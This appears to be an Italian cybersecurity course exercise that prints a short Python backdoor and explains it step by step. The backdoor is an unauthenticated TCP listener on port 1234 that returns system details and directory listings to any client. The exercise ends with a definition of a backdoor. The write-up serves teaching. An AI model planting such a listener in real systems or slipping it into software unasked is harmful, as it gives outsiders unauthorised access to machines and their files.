Esercizio S3_L4

Rosario Giaimo

L'esercizio di oggi consiste nel commentare/spiegare questo codice che fa riferimento ad una backdoor. Inoltre spiegare cos'è una backdoor.

```
import socket, platform, os

SRV_ADDR = ""
SRV_PORT = 1234

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((SRV_ADDR, SRV_PORT))
s.listen(1)
connection, address = s.accept()
tosend = ""
print ("Connesso con: ", address)
running = True
while running:
    try:
        data = connection.recv(1024)
    except: continue

    c = data.decode('utf-8').strip()
    if(c == '1'):
        tosend = platform.platform() + " " + platform.machine() + "\n"
        connection.sendall(tosend.encode())
    elif(c == '2'):
        connection.sendall(b'Path: ')
        data = connection.recv(1024)
        try:
            filelist =  os.listdir(data.decode('utf-8').strip())
            tosend = "\n".join(sorted(filelist)) + '\n'
        except:
            tosend = "Wrong path"
        connection.sendall(tosend.encode())
    elif(c == '0'):
        connection.close()
        connection, address = s.accept()
    elif(c == '9'): running = False #delete after debug

if connection: connection.close()
s.close()
```

SPIEGAZIONE DEL CODICE

Questo codice implementa un server che funge da backdoor, consentendo a un client di inviare comandi e ricevere risposte dal server.

Ecco una panoramica di cosa fa il codice:

1. **Configurazione del server:** Specifica l'indirizzo IP del server come vuoto (`""`) per consentire le connessioni in ingresso da qualsiasi interfaccia di rete. Imposta anche la porta del server su `1234`.
2. **Creazione del socket:** Utilizza la libreria `socket` per creare un socket TCP/IP e impostare l'opzione `SO_REUSEADDR` per consentire al server di riutilizzare immediatamente un'istanza precedente del socket.
3. **Binding del socket:** Associa il socket all'indirizzo e alla porta specificati.
4. **Inizio dell'ascolto:** Il server entra in modalità di ascolto per le connessioni in ingresso.
5. **Accettazione delle connessioni:** Accetta una connessione in ingresso da un client. Una volta stabilita la connessione, il server riceve i comandi dal client e risponde di conseguenza.
6. **Loop principale:** Il server entra in un loop infinito dove continua a ricevere dati dal client e risponde di conseguenza.
7. **Elaborazione dei comandi:**
   7.1. Se il comando inviato dal client è `'1'`, il server risponde inviando informazioni sulla piattaforma e sulla macchina utilizzando il modulo `platform`.
   7.2. Se il comando è `'2'`, il server richiede al client di inviare un percorso e risponde inviando un elenco dei file in quel percorso.
   7.3. Se il comando è `'0'`, il server chiude la connessione attiva e si mette in ascolto per una nuova connessione.
   7.4. Se il comando è `'9'`, il server termina il loop e chiude la connessione.
   7.5. Se si verifica un'eccezione durante la ricezione o l'elaborazione dei dati, il server continua ad eseguire il loop.

8. **Chiusura della connessione:** Dopo l'uscita dal loop, il server chiude le connessioni.

In breve, questo codice fornisce una semplice interfaccia tramite la quale un client può eseguire comandi sul server, ottenendo informazioni sul sistema (come piattaforma e file nel sistema). Tuttavia, essendo una backdoor, può essere usato in modo malevolo per ottenere accesso non autorizzato al sistema server.

SPIEGAZIONE BACKDOOR

Una backdoor è un tipo di vulnerabilità o funzionalità malevola inserita in un sistema informatico per consentire a un attaccante di bypassare le procedure di autenticazione o di accedere al sistema in modo non autorizzato.